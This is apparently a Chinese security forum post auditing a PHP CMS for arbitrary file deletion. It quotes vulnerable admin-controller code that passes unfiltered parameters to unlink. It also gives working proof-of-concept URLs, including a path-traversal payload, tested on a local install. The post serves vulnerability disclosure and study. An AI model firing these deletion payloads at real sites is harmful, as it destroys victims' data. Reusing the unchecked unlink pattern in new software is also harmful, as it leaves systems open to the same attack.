之前看到补天上有人提过这个CMS,就审计了一小下,这次就先找了几处任意文件删除。
1、位置Lib/Lib/Action/Admin/DataAction.class.php,两处

public function del(){
    $filename = trim($_GET['id']);
    @unlink(DATA_PATH.'_bak/'.$filename);
    $this->success($filename.'已经删除!');
}
//删除所有分卷文件
public function delall(){
    foreach($_POST['ids'] as $value){
        @unlink(DATA_PATH.'_bak/'.$value);
    }
    $this->success('批量删除分卷文件成功!');
}

未经处理的GET和POST参数直接拼接到路径后,造成文件删除。但实际本地测试发现_bak文件夹默认是不存在的,需要进行备份功能后才能生成。
全局搜索_bak字段,找到一处_bak文件夹的创建,在Lib/Lib/Action/Admin/DataAction.class.php 51行的write_file函数。

public function insert(){
    if(empty($_POST['ids'])){
        $this->error('请选择需要备份的数据库表!');
    }
    $filesize = intval($_POST['filesize']);
    if ($filesize < 512) {
        $this->error('出错了,请为分卷大小设置一个大于512的整数值!');
    }
    $file = DATA_PATH.'_bak/';
    $random = md5(mt_rand(10000, 99999));
    $sql = ''; 
    $p = 1;
    foreach($_POST['ids'] as $table){
        $rs = D(ucfirst(str_replace(C('db_prefix'),'',$table)));
        $array = $rs->select();
        $sql.= "TRUNCATE TABLE `$table`;\n";
        foreach($array as $value){
            $sql.= $this->insertsql($table, $value);
            if (strlen($sql) >= $filesize*1000) {
                $filename = $file.date('Ymd').'_'.$random.'_'.$p.'.sql';
                write_file($filename,$sql);
                $p++;
                $sql='';
            }
        }
    }
    if(!empty($sql)){
        $filename = $file.date('Ymd').'_'.$random.'_'.$p.'.sql';
        write_file($filename,$sql);
        }
    $this->assign("jumpUrl",'?s=Admin-Data-Show');
    $this->success('数据库分卷备份已完成,共分成'.$p.'个sql文件存放!');
}

进入write_file函数,可以看到内部调用了封装了的mkdir方法mkdirss

function write_file($l1, $l2 = '')
{
    $dir = dirname($l1);
    if (!is_dir($dir)) {
        mkdirss($dir);
    }
    return @file_put_contents($l1, $l2);
}

function mkdirss($dirs, $mode = 0777)
{
    if (!is_dir($dirs)) {
        mkdirss(dirname($dirs), $mode);
        return @mkdir($dirs, $mode);
    }
    return true;
}

现在构造payload,需要先备份使创建_bak文件夹。这里需要满足strlen($sql) >= $filesize*1000。


备份成功


下面构造文件删除payload,访问http://localhost:8888/4.0.181010/index.php?s=/admin-data-del&id=../../../../../../../../../Users/xx/Desktop/123.txt


另一处原理相同,这里不再测试。
2、位置Lib/Lib/Action/Admin/TplAction.class.php,88

public function del(){
    $id = admin_ff_url_repalce(str_replace('*','.',trim($_GET['id'])));
    if (!substr(sprintf("%o",fileperms($id)),-3)){
        $this->error('无删除权限!');
    }
    @unlink($id);
    if (!empty($_SESSION['tpl_jumpurl'])) {
        $this->assign("jumpUrl",$_SESSION['tpl_jumpurl']);
    }else{
        $this->assign("jumpUrl",'?s=Admin/Tpl/Show');
    }
    $this->success('删除文件成功!');
}

可以看到id参数没有做过滤,是可以进行任意文件删除的。测试时在桌面上创建123.txt,构造payload为http://localhost:8888/4.0.181010/index.php?s=/admin-tpl-del&id=/Users/xx/Desktop/123.txt


可以看到文件已删除。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖